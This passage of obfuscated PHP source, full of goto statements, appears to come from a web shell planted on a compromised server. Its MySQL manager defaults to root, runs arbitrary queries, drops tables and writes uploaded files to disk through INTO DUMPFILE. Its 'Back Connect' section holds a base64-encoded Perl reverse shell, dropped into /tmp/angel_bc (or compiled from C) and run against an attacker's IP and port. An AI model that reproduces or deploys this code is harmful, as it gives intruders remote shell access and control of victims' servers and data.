P0EJk: makeinput(array("name" => "dbname", "size" => 15, "value" => $dbname)); goto BnuHR; a8ypb: formhead(array("title" => "MYSQL Information", "name" => "dbinfo")); goto dWZR2; mV7WG: makeselect(array("name" => "charset", "option" => $charsetdb, "selected" => $charset, "nokey" => 1)); goto tP3ij; Ne2lS: makehide("dbname"); goto KQCG_; dWZR2: makehide("action", "sqlfile"); goto sHKET; a18PE: p("DBName:"); goto P0EJk; oONny: !$dbport && ($dbport = "3306"); goto a8ypb; ZLPKY: makeinput(array("name" => "dbpass", "size" => 15, "value" => $dbpass)); goto a18PE; JHJJf: makeinput(array("name" => "dbuser", "size" => 15, "value" => $dbuser)); goto TDEHl; lEtAP: p("<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile('mysqldown');">Download</a></p>"); goto tQnQp; mvtmD: makehide("dbuser"); goto yol11; sHKET: p("<p>"); goto kQiWK; x96fJ: p("DBUser:"); goto JHJJf; OhMuU: formfoot(); goto j4I0f; tP3ij: p("</p>"); goto OhMuU; TDEHl: p("DBPass:"); goto ZLPKY; ezcUC: echo "<script type="text/javascript">
function mysqlfile(doing){\xd\xa if(!doing) return;\xd
$('doing').value=doing;
\x9$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;\xd\xa $('mysqlfile').dbport.value=$('dbinfo').dbport.value;\xd\xa\x9$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;\xd
\x9$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
\x9$('mysqlfile').charset.value=$('dbinfo').charset.value;
\xa\x9$('mysqlfile').submit();\xd\xa}
\xa</script>
"; goto CSEn7; zRkui: if ($doing == "mysqlupload") { goto fkYBP; efE48: if (file_exists($savepath)) { m("The goal file has already existed"); } else { if (!$filename) { m("Please choose a file"); } else { goto BEUmP; WKkEG: m($result ? "Upload success" : "Upload has failed: " . mysql_error()); goto hQtXe; oq1uL: $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '{$savepath}';"); goto WKkEG; mahLK: @fclose($fp); goto BV694; JOYFk: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto oq1uL; BEUmP: $fp = @fopen($filename, "r"); goto bWYnu; bWYnu: $contents = @fread($fp, filesize($filename)); goto mahLK; BV694: $contents = bin2hex($contents); goto dTp4S; dTp4S: if (!$upname) { $upname = $file["name"]; } goto JOYFk; hQtXe: } } goto GRVI3; dJ0EW: $filename = $file["tmp_name"]; goto efE48; fkYBP: $file = $_FILES["uploadfile"]; goto dJ0EW; GRVI3: } goto ezcUC; jq_81: p("<h2>Upload file</h2>"); goto kedCo; qbz3I: makehide("doing"); goto BpxbF; Y5kYE: } elseif ($action == "mysqladmin") { goto JzOfv; TQ3A5: p("DBPass:"); goto wj8NW; VHU3G: makeinput(array("name" => "dbhost", "size" => 20, "value" => $dbhost)); goto emZjl; URp5G: formfoot(); goto QDtkq; QPP1l: p($dbform); goto J9cMl; CeBs5: makehide("action", "mysqladmin"); goto wLuz0; IvRf5: if (isset($charset)) { $dbform .= "<input type="hidden" id="charset" name="charset" value="{$charset}" />
"; } goto CPkkn; MEsKy: $page = intval($page); goto kVQi1; O_e4r: p($dbform); goto URp5G; kOmn7: formhead(array("title" => "MYSQL Manager")); goto chFIW; fNAYK: $cachetables = array(); goto kTtaA; chFIW: makehide("action", "mysqladmin"); goto komGY; dPKog: formhead(array("name" => "recordlist")); goto l_g9f; xJwFh: if ($update && $insertsql && $base64) { goto fnSzM; wFsXF: if ($valstr) { goto CIDPx; vo8jM: m(q("UPDATE {$tablename} SET {$valstr} WHERE {$where} LIMIT 1") ? "Record updating" : mysql_error()); goto c53iZ; WIpiy: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto vo8jM; CIDPx: $where = base64_decode($base64); goto WIpiy; c53iZ: } goto amQoD; fnSzM: $valstr = $tmp = ''; goto g0r1_; g0r1_: foreach ($insertsql as $key => $val) { $valstr .= $tmp . $key . "='" . addslashes($val) . "'"; $tmp = ","; } goto wFsXF; amQoD: } goto ev7E2; PGCTJ: if ($tablename && $doing == "drop") { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (q("DROP TABLE {$tablename}")) { m("Drop table of success"); $tablename = ''; } else { m(mysql_error()); } } goto kOmn7; BUdbL: if (isset($dbname)) { $dbform .= "<input type="hidden" id="dbname" name="dbname" value="{$dbname}" />
"; } goto IvRf5; FbXhR: $dbform = "<input type="hidden" id="connect" name="connect" value="1" />"; goto t8iCH; pMjfb: makeselect(array("name" => "charset", "option" => $charsetdb, "selected" => $charset, "nokey" => 1)); goto c8B3R; B_VL6: if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { goto is4sZ; EV4Sy: while ($db = mysql_fetch_array($query)) { $dbs[$db["Database"]] = $db["Database"]; } goto GvY6w; lCqyx: $tabledb = array(); goto NSfxF; FML_1: $query = q("SHOW DATABASES"); goto DyDor; is4sZ: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto WD9lk; GvY6w: makeselect(array("title" => "Please select a database:", "name" => "db[]", "option" => $dbs, "selected" => $dbname, "onchange" => "moddbname(this.options[this.selectedIndex].value)", "newline" => 1)); goto lCqyx; sXQ7G: $dbs[] = "-- Select a database --"; goto EV4Sy; rzv9F: $highver = $mysqlver > "4.1" ? 1 : 0; goto FML_1; GUqEW: p("<p>MySQL " . $mysqlver . " running in " . $dbhost . " as " . $dbuser . "@" . $dbhost . "</p>"); goto rzv9F; WD9lk: $mysqlver = mysql_get_server_info(); goto GUqEW; DyDor: $dbs = array(); goto sXQ7G; NSfxF: if ($dbname) { goto s4O0k; zB6ms: makehide("tablename", $tablename); goto QZxwf; hOzFp: $allowedit = 0; goto Hy3lZ; E5MRR: p($dbform); goto lSR9X; IMv0j: p("<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database " . $dbname . ":</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">" . htmlspecialchars($sql_query, ENT_QUOTES) . "</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>"); goto zB6ms; s4O0k: p("<p>"); goto ZxO2m; ZxO2m: p("Current dababase: <a href="javascript:moddbname('" . $dbname . "');">" . $dbname . "</a>"); goto jqj49; jqj49: if ($tablename) { p(" | Current Table: <a href="javascript:settable('" . $tablename . "');">" . $tablename . "</a> [ <a href="javascript:settable('" . $tablename . "', 'insert');">Insert</a> | <a href="javascript:settable('" . $tablename . "', 'structure');">Structure</a> | <a href="javascript:settable('" . $tablename . "', 'drop');">Drop</a> ]"); } goto hVsT8; GmEvk: if ($sql_query) { $runquery = 1; } goto hOzFp; NelWf: p("<form action="" . $self . "" method="POST">"); goto IMv0j; QZxwf: makehide("action", "mysqladmin"); goto E5MRR; rclpr: $getnumsql = ''; goto JOUy0; pHgCQ: if ($tablename || $runquery && $sql_query) { if ($doing == "structure") { goto Bsl8A; MWHEW: p("<table border="0" cellpadding="3" cellspacing="0">"); goto yPvoT; NkGTR: p("<td>Unique</td>"); goto MhVOC; Pqx2H: p("<td>Comment</td>"); goto aSAGY; IMtKH: $rowdb = array(); goto DOpBe; JsIPx: p("<td>Seq_in_index</td>"); goto a3uoc; IPM0D: p("<tr class="head">"); goto BLt38; a3uoc: p("<td>Field</td>"); goto GARfc; zBHbh: tbfoot(); goto k1k10; W9L2c: p("<h3>Indexes</h3>"); goto SlZMZ; RU0le: p("</tr>"); goto Sikef; UcIso: p("<td>Null</td>"); goto Pqx2H; DOpBe: while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } goto W9L2c; Sikef: foreach ($rowdb as $row) { goto J2iyi; BfVXV: p("<td>" . $row["Collation"] . " </td>"); goto ZbuP1; E5l2i: p("<td>" . $row["Field"] . "</td>"); goto TrXGz; Gfzxy: p("<td>" . $row["Extra"] . " </td>"); goto WtCrJ; nhFaP: p("<td>" . $row["Key"] . " </td>"); goto nL0e2; nL0e2: p("<td>" . $row["Default"] . " </td>"); goto Gfzxy; ZbuP1: p("<td>" . $row["Null"] . " </td>"); goto nhFaP; TrXGz: p("<td>" . $row["Type"] . "</td>"); goto BfVXV; ib_KS: p("<td>" . $row["Comment"] . " </td>"); goto Ktd1x; Ktd1x: p("</tr>"); goto WuriN; KaBow: p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); goto E5l2i; J2iyi: $thisbg = bg(); goto KaBow; WtCrJ: p("<td>" . $row["Privileges"] . " </td>"); goto ib_KS; WuriN: } goto zBHbh; zH0gQ: p("<td>Extra</td>"); goto Ibly4; yPvoT: p("<tr class="head">"); goto IGjWm; IGjWm: p("<td>Field</td>"); goto c3CgE; zZHCg: p("<td>Comment</td>"); goto RU0le; y8SMf: foreach ($rowdb as $row) { goto jxicj; a_wwy: p("<td>" . ($row["Cardinality"] ? $row["Cardinality"] : 0) . " </td>"); goto En3uK; VRty1: p("<td>" . $row["Index_type"] . "</td>"); goto tW4Uq; PaXzi: p("<td>" . $row["Seq_in_index"] . "</td>"); goto fEwPd; fEwPd: p("<td>" . $row["Column_name"] . ($row["Sub_part"] ? "(" . $row["Sub_part"] . ")" : '') . " </td>"); goto a_wwy; eyjyS: p("<td>" . $row["Null"] . " </td>"); goto W_Aa4; Y87LY: p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); goto yDfRC; yDfRC: p("<td>" . $row["Key_name"] . "</td>"); goto VRty1; jxicj: $thisbg = bg(); goto Y87LY; W_Aa4: p("<td>" . $row["Comment"] . " </td>"); goto mXPwS; En3uK: p("<td>" . $row["Collation"] . " </td>"); goto eyjyS; rqDI0: p("<td>" . ($row["Packed"] === null ? "No" : $row["Packed"]) . " </td>"); goto PaXzi; mXPwS: p("</tr>"); goto f_1pW; tW4Uq: p("<td>" . ($row["Non_unique"] ? "No" : "Yes") . " </td>"); goto rqDI0; f_1pW: } goto ZRC5t; ho8zr: while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } goto b70Oo; us3WR: p("<td>Default</td>"); goto zH0gQ; nboKo: p("<td>Null</td>"); goto a9JoE; MhVOC: p("<td>Packed</td>"); goto JsIPx; a9JoE: p("<td>Key</td>"); goto us3WR; BLt38: p("<td>Keyname</td>"); goto h0yRu; ZRC5t: tbfoot(); goto Uycdq; GARfc: p("<td>Cardinality</td>"); goto BV9aW; c3CgE: p("<td>Type</td>"); goto BLf0M; aSAGY: p("</tr>"); goto y8SMf; k1k10: $result = q("SHOW INDEX FROM {$tablename}"); goto IMtKH; uJfFR: $rowdb = array(); goto ho8zr; Ibly4: p("<td>Privileges</td>"); goto zZHCg; Bsl8A: $result = q("SHOW FULL COLUMNS FROM {$tablename}"); goto uJfFR; BV9aW: p("<td>Collation</td>"); goto UcIso; h0yRu: p("<td>Type</td>"); goto NkGTR; b70Oo: p("<h3>Structure</h3>"); goto MWHEW; BLf0M: p("<td>Collation</td>"); goto nboKo; SlZMZ: p("<table border="0" cellpadding="3" cellspacing="0">"); goto IPM0D; Uycdq: } elseif ($doing == "insert" || $doing == "edit") { goto GLLvX; f27OR: while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } goto F2Y8M; gWgqe: p("<form method="post" action="" . $self . "">"); goto Z3d9_; Z3d9_: p($dbform); goto Qqv7M; Qqv7M: makehide("action", "mysqladmin"); goto i6Vf2; i6Vf2: makehide("tablename", $tablename); goto NuX_x; NuX_x: p("<table border="0" cellpadding="3" cellspacing="0">"); goto ABjFI; nxshF: p("</table></form>"); goto U0kr1; GLLvX: $result = q("SHOW COLUMNS FROM " . $tablename); goto f27OR; ABjFI: foreach ($rowdb as $row) { goto Skqk9; MgMyp: $thisbg = bg(); goto F7aTC; F7aTC: p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); goto riosb; riosb: if ($row["Key"] == "UNI" || $row["Extra"] == "auto_increment" || $row["Key"] == "PRI") { p("<td><b>" . $row["Field"] . "</b><br />" . $row["Type"] . "</td><td>" . $value . " </td></tr>"); } else { p("<td><b>" . $row["Field"] . "</b><br />" . $row["Type"] . "</td><td><textarea class="area" name="insertsql[" . $row["Field"] . "]" style="width:500px;height:60px;overflow:auto;">" . $value . "</textarea></td></tr>"); } goto LWFe6; Skqk9: if ($rs[$row["Field"]]) { $value = htmlspecialchars($rs[$row["Field"]]); } else { $value = ''; } goto MgMyp; LWFe6: } goto m28GN; m28GN: if ($doing == "insert") { p("<tr class="" . bg() . ""><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>"); } else { p("<tr class="" . bg() . ""><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>"); makehide("base64", $base64); } goto nxshF; F2Y8M: $rs = array(); goto LYsrk; LYsrk: if ($doing == "insert") { p("<h2>Insert new line in " . $tablename . " table »</h2>"); } else { goto C6St3; hZnHR: $result = q("SELECT * FROM {$tablename} WHERE {$where} LIMIT 1"); goto Ru_hR; C6St3: p("<h2>Update record in " . $tablename . " table »</h2>"); goto ttF9M; ttF9M: $where = base64_decode($base64); goto hZnHR; Ru_hR: $rs = mysql_fetch_array($result); goto dltrt; dltrt: } goto gWgqe; U0kr1: } else { $querys = @explode(";", $sql_query); foreach ($querys as $num => $query) { if ($query) { p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>"); switch (qy($query)) { case 0: p("<h2>Error : " . mysql_error() . "</h2>"); break; case 1: goto NNJWk; EoolH: p("<table border="0" cellpadding="3" cellspacing="0">"); goto yuBfI; i1Ko5: tbfoot(); goto InEr1; ru8K7: $fieldnum = @mysql_num_fields($result); goto rsZ8o; LtZj2: if ($allowedit) { p("<td>Action</td>"); } goto SPmfr; rsZ8o: for ($i = 0; $i < $fieldnum; $i++) { $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("<td nowrap>{$name}<br><span>{$type}({$len})" . ($rowdb[$name]["Key"] == "UNI" || $rowdb[$name]["Key"] == "PRI" ? "<b> - PRIMARY</b>" : '') . ($rowdb[$name]["Extra"] == "auto_increment" ? "<b> - Auto</b>" : '') . "</span></td>"); } goto cn1aD; Vd1PU: if ($allowedit) { p("<td>Action</td>"); } goto ru8K7; evnJS: p("</tr>"); goto i1Ko5; zOXFo: $rowdb = array(); goto uDITH; dNCPh: if (!$tablename) { goto zGrm_; FBrrO: $tablename = $matches[1][0]; goto vGaeZ; zGrm_: $sql_line = str_replace(array("\xd", "
", " "), array(" ", " ", " "), trim(htmlspecialchars($query))); goto XFbqZ; b9COT: preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches); goto FBrrO; XFbqZ: $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); goto b9COT; vGaeZ: } goto eCOgi; EZz9u: for ($i = 0; $i < $fieldnum; $i++) { $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("<td nowrap>{$name}<br><span>{$type}({$len})" . ($rowdb[$name]["Key"] == "UNI" || $rowdb[$name]["Key"] == "PRI" ? "<b> - PRIMARY</b>" : '') . ($rowdb[$name]["Extra"] == "auto_increment" ? "<b> - Auto</b>" : '') . "</span></td>"); } goto evnJS; A8RlW: break; goto bVEi1; cn1aD: p("</tr>"); goto vMkJn; NNJWk: if (strtolower(substr($query, 0, 13)) == "select * from") { $allowedit = 1; } goto J2kXd; FKa1O: $result = q($query); goto xvj1I; XXBul: p("<tr class="head">"); goto LtZj2; J2kXd: if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol, $pagenum, $page, $tablename); } goto dNCPh; eCOgi: $getfield = q("SHOW COLUMNS FROM {$tablename}"); goto zOXFo; uDITH: $keyfied = ''; goto uM9IH; u3eTp: if ($keyfied && strtolower(substr($query, 0, 13)) == "select * from") { $query = str_replace(" LIMIT ", " order by {$keyfied} DESC LIMIT ", $query); } goto FKa1O; vMkJn: while ($mn = @mysql_fetch_assoc($result)) { $thisbg = bg(); p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); $where = $tmp = $b1 = ''; foreach ($mn as $key => $inside) { if ($inside) { goto OCRBX; Zbdnu: $where .= $tmp . $key . "='" . addslashes($inside) . "'"; goto UU7wF; OCRBX: if ($rowdb[$key]["Key"] == "UNI" || $rowdb[$key]["Extra"] == "auto_increment" || $rowdb[$key]["Key"] == "PRI") { $where = $key . "='" . addslashes($inside) . "'"; break; } goto Zbdnu; UU7wF: $tmp = " AND "; goto b9jwj; b9jwj: } } foreach ($mn as $key => $inside) { $b1 .= "<td nowrap>" . html_clean($inside) . " </td>"; } $where = base64_encode($where); if ($allowedit) { p("<td nowrap><a href="javascript:editrecord('edit', '" . $where . "', '" . $tablename . "');">Edit</a> | <a href="javascript:editrecord('del', '" . $where . "', '" . $tablename . "');">Del</a></td>"); } p($b1); p("</tr>"); unset($b1); } goto XXBul; xvj1I: p($multipage); goto EoolH; InEr1: p($multipage); goto A8RlW; SPmfr: $fieldnum = @mysql_num_fields($result); goto EZz9u; uM9IH: while ($row = @mysql_fetch_assoc($getfield)) { $rowdb[$row["Field"]]["Key"] = $row["Key"]; $rowdb[$row["Field"]]["Extra"] = $row["Extra"]; if ($row["Key"] == "UNI" || $row["Key"] == "PRI") { $keyfied = $row["Field"]; } } goto u3eTp; yuBfI: p("<tr class="head">"); goto Vd1PU; bVEi1: case 2: goto cABlm; jupX_: break; goto gt9gB; cABlm: $ar = mysql_affected_rows(); goto tza0x; tza0x: p("<h2>affected rows : <b>" . $ar . "</b></h2>"); goto jupX_; gt9gB: } } } } } else { goto LR0Pt; eWGCL: p("<td>Data_length</td>"); goto FMlLQ; GcFKV: $data_size = sizecount($data_size); goto wb0n9; Vp1Ys: p("<td>" . $table_rows . "</td>"); goto y7x6w; GWgEB: p("<tr class="head">"); goto hFNiQ; QlsKI: p("<td>Total tables: " . $table_num . "</td>"); goto Vp1Ys; y7x6w: p("<td>" . $data_size . "</td>"); goto siS8E; FmdFr: if ($highver) { p("<td>Engine</td>"); p("<td>Collation</td>"); } goto GKun0; GKun0: p("<td>Operate</td>"); goto gOolX; dKeAW: p("</tr>"); goto AQk7H; QVllK: p("<td> </td>"); goto QlsKI; YDf8i: p("<td>Rows</td>"); goto eWGCL; hFNiQ: p("<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>"); goto iTLZa; kxTQS: p("</tr>"); goto W2YbM; OPvP6: p("<form action="" . $self . "" method="POST">"); goto O5mt9; Gov5J: p("<table border="0" cellpadding="0" cellspacing="0">"); goto OPvP6; AQk7H: p("<tr class="" . bg() . ""><td colspan="" . ($highver ? 9 : 7) . ""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="" . SA_ROOT . $dbname . ".sql" type="text" size="60" /> <input class="bt" type="submit" value="Export selection table" /></td></tr>"); goto k4x4w; dalJY: p($dbform); goto QvvjR; D06vq: p("<td>Update_time</td>"); goto FmdFr; sTIho: p("<td>Name</td>"); goto YDf8i; W2YbM: p("<tr class=" . bg() . ">"); goto QVllK; XUUBe: p("<td>Data_length</td>"); goto fY_H5; O5mt9: makehide("action", "mysqladmin"); goto dalJY; O2mkr: formfoot(); goto P3Iqk; UuRyE: p("<td>Update_time</td>"); goto ybQld; gOolX: p("</tr>"); goto Kf0ag; cphYK: $tabledb = array(); goto EmPG2; FMlLQ: p("<td>Create_time</td>"); goto D06vq; KUPtM: p("<td width="2%" align="center"> </td>"); goto sTIho; ybQld: if ($highver) { p("<td>Engine</td>"); p("<td>Collation</td>"); } goto c68YG; LR0Pt: $query = q("SHOW TABLE STATUS"); goto BQh9o; QvvjR: p("<tr class="head">"); goto KUPtM; fY_H5: p("<td>Create_time</td>"); goto UuRyE; Kf0ag: foreach ($tabledb as $key => $table) { goto kONNO; IjcoN: p("<td><a href="javascript:settable('" . $table["Name"] . "');">" . $table["Name"] . "</a></td>"); goto E38rG; gQFLJ: p("<td align="center" width="2%"><input type="checkbox" name="table[]" value="" . $table["Name"] . "" /></td>"); goto IjcoN; Zu28H: if ($highver) { p("<td>" . $table["Engine"] . "</td>"); p("<td>" . $table["Collation"] . "</td>"); } goto pAC77; OiMdr: p("</tr>"); goto fB91m; ob4IJ: p("<td>" . $table["Create_time"] . " </td>"); goto M_imd; zuXll: p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); goto gQFLJ; M_imd: p("<td>" . $table["Update_time"] . " </td>"); goto Zu28H; E38rG: p("<td>" . $table["Rows"] . "</td>"); goto TdTgM; kONNO: $thisbg = bg(); goto zuXll; pAC77: p("<td><a href="javascript:settable('" . $table["Name"] . "', 'insert');">Insert</a> | <a href="javascript:settable('" . $table["Name"] . "', 'structure');">Structure</a> | <a href="javascript:settable('" . $table["Name"] . "', 'drop');">Drop</a></td>"); goto OiMdr; TdTgM: p("<td>" . $table["Data_length"] . "</td>"); goto ob4IJ; fB91m: } goto GWgEB; siS8E: p("<td colspan="" . ($highver ? 5 : 3) . ""> </td>"); goto dKeAW; wb0n9: unset($table); goto Gov5J; P3Iqk: p("</table>"); goto FvfQz; BQh9o: $table_num = $table_rows = $data_size = 0; goto cphYK; c68YG: p("<td>Operate</td>"); goto kxTQS; fY6ID: p("<td>Rows</td>"); goto XUUBe; k4x4w: makehide("doing", "backupmysql"); goto O2mkr; iTLZa: p("<td>Name</td>"); goto fY6ID; EmPG2: while ($table = mysql_fetch_array($query)) { $data_size = $data_size + $table["Data_length"]; $table_rows = $table_rows + $table["Rows"]; $table["Data_length"] = sizecount($table["Data_length"]); $table_num++; $tabledb[] = $table; } goto GcFKV; FvfQz: fr($query); goto epFBx; epFBx: } goto nxG1l; JOUy0: $runquery = 0; goto GmEvk; mXgCd: mysql_select_db($dbname); goto rclpr; lSR9X: p("</form>"); goto pHgCQ; hVsT8: p("</p>"); goto mXgCd; Hy3lZ: if ($tablename && !$sql_query) { goto xjuDF; no4C0: $getnumsql = $sql_query; goto pNpqV; xjuDF: $sql_query = "SELECT * FROM {$tablename}"; goto no4C0; Fok6n: $allowedit = 1; goto ukjIc; pNpqV: $sql_query = $sql_query . " LIMIT {$start_limit}, {$pagenum}"; goto Fok6n; ukjIc: } goto NelWf; nxG1l: } goto hJXe0; hJXe0: } goto w0tsT; ev7E2: if ($doing == "del" && $base64) { goto SVmlq; hMkjg: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto IouV2; SVmlq: $where = base64_decode($base64); goto CFphP; IouV2: m(q("DELETE FROM {$tablename} WHERE {$where}") ? "Deletion record of success" : mysql_error()); goto iIrAi; CFphP: $delete_sql = "DELETE FROM {$tablename} WHERE {$where}"; goto hMkjg; iIrAi: } goto PGCTJ; wRAuR: !$dbuser && ($dbuser = "root"); goto XoXaF; O0GcV: if ($insert && $insertsql) { goto qM_Jd; qM_Jd: $keystr = $valstr = $tmp = ''; goto AqnTw; rXP_K: if ($keystr && $valstr) { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); m(q("INSERT INTO {$tablename} ({$keystr}) VALUES ({$valstr})") ? "Insert new record of success" : mysql_error()); } goto k7iql; AqnTw: foreach ($insertsql as $key => $val) { if ($val) { goto YwW0R; YwW0R: $keystr .= $tmp . $key; goto mQHmn; L3C1C: $tmp = ","; goto zvKGD; mQHmn: $valstr .= $tmp . "'" . addslashes($val) . "'"; goto L3C1C; zvKGD: } } goto rXP_K; k7iql: } goto xJwFh; CGTeq: if (isset($dbuser)) { $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="{$dbuser}" />
"; } goto c19pO; J9cMl: if (!$dbname) { makehide("dbname"); } goto lmG0V; l_g9f: makehide("doing"); goto tT0Aa; c19pO: if (isset($dbpass)) { $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="{$dbpass}" />
"; } goto Tu6EU; tT0Aa: makehide("action", "mysqladmin"); goto k_tYC; kTtaA: $pagenum = 30; goto MEsKy; l0iEL: p("</p>"); goto Q4Prb; O0dhA: makehide("tablename"); goto O_e4r; QvW6g: makeinput(array("name" => "dbport", "size" => 4, "value" => $dbport)); goto uslBL; XoXaF: !$dbport && ($dbport = "3306"); goto FbXhR; uslBL: p("DBUser:"); goto vd6_7; w0tsT: tbfoot(); goto dDgRS; c8B3R: makeinput(array("name" => "connect", "value" => "Connect", "type" => "submit", "class" => "bt")); goto l0iEL; dDgRS: @mysql_close(); goto Gx53c; t8iCH: if (isset($dbhost)) { $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="{$dbhost}" />
"; } goto CGTeq; wLuz0: p($dbform); goto sJmvG; emZjl: p(":"); goto QvW6g; pnMzB: p("DBCharset:"); goto pMjfb; Q4Prb: formfoot(); goto dPKog; XKVGK: makehide("doing"); goto W0Sa1; Tqefw: makehide("action", "mysqladmin"); goto QPP1l; kVQi1: if ($page) { $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } goto B_VL6; VdWog: makehide("page", $page); goto XKVGK; sJmvG: makehide("tablename"); goto VdWog; W0Sa1: formfoot(); goto fNAYK; komGY: p("<p>"); goto gQxGW; CPkkn: if ($doing == "backupmysql" && $saveasfile) { if (!$table) { m("Please choose the table"); } else { goto BPWKb; DIHwC: if ($fp) { goto qjQBb; dK2P3: mysql_close(); goto T9AE3; vfGi1: m("Database has success backup to <a href="" . $fileurl . "" target="_blank">" . $path . "</a>"); goto dK2P3; g4ed4: fclose($fp); goto j62rn; j62rn: $fileurl = str_replace(SA_ROOT, '', $path); goto vfGi1; qjQBb: foreach ($table as $k => $v) { if ($v) { sqldumptable($v, $fp); } } goto g4ed4; T9AE3: } else { m("Backup failed"); } goto lW2z9; Kd4T_: $fp = @fopen($path, "w"); goto DIHwC; BPWKb: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto Kd4T_; lW2z9: } } goto O0GcV; QDtkq: formhead(array("name" => "setdbname")); goto Tqefw; lmG0V: formfoot(); goto dcobg; gQxGW: p("DBHost:"); goto VHU3G; vd6_7: makeinput(array("name" => "dbuser", "size" => 15, "value" => $dbuser)); goto TQ3A5; wj8NW: makeinput(array("name" => "dbpass", "size" => 15, "value" => $dbpass)); goto pnMzB; dcobg: formhead(array("name" => "settable")); goto CeBs5; JzOfv: !$dbhost && ($dbhost = "localhost"); goto wRAuR; k_tYC: makehide("base64"); goto O0dhA; Tu6EU: if (isset($dbport)) { $dbform .= "<input type="hidden" id="dbport" name="dbport" value="{$dbport}" />
"; } goto BUdbL; Gx53c: } elseif ($action == "backconnect") { goto GFLVp; LxNzO: makeinput(array("name" => "yourip", "size" => 20, "value" => $yourip)); goto FnEWu; un4J0: makeselect(array("name" => "use", "option" => $usedb, "selected" => $use)); goto ABuht; yNPIY: if ($start && $yourip && $yourport && $use) { if ($use == "perl") { cf("/tmp/angel_bc", $back_connect); $res = execute(which("perl") . " /tmp/angel_bc {$yourip} {$yourport} &"); } else { goto FLpTD; FLpTD: cf("/tmp/angel_bc.c", $back_connect_c); goto cTat9; pADSu: @unlink("/tmp/angel_bc.c"); goto iS00r; iS00r: $res = execute("/tmp/angel_bc {$yourip} {$yourport} &"); goto i5IGI; cTat9: $res = execute("gcc -o /tmp/angel_bc /tmp/angel_bc.c"); goto pADSu; i5IGI: } m("Now script try connect to {$yourip} port {$yourport} ..."); } goto NwayK; Fi5XO: p("<p>"); goto gVRtm; cnQKN: makehide("action", "backconnect"); goto Fi5XO; EI0wb: makeinput(array("name" => "yourport", "size" => 15, "value" => $yourport)); goto sdgJf; sdgJf: p("Use:"); goto un4J0; YNQQY: formfoot(); goto G06Lk; rAyRf: $usedb = array("perl" => "perl", "c" => "c"); goto HOsb9; NwayK: formhead(array("title" => "Back Connect")); goto cnQKN; HOsb9: $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; goto WvD6w; 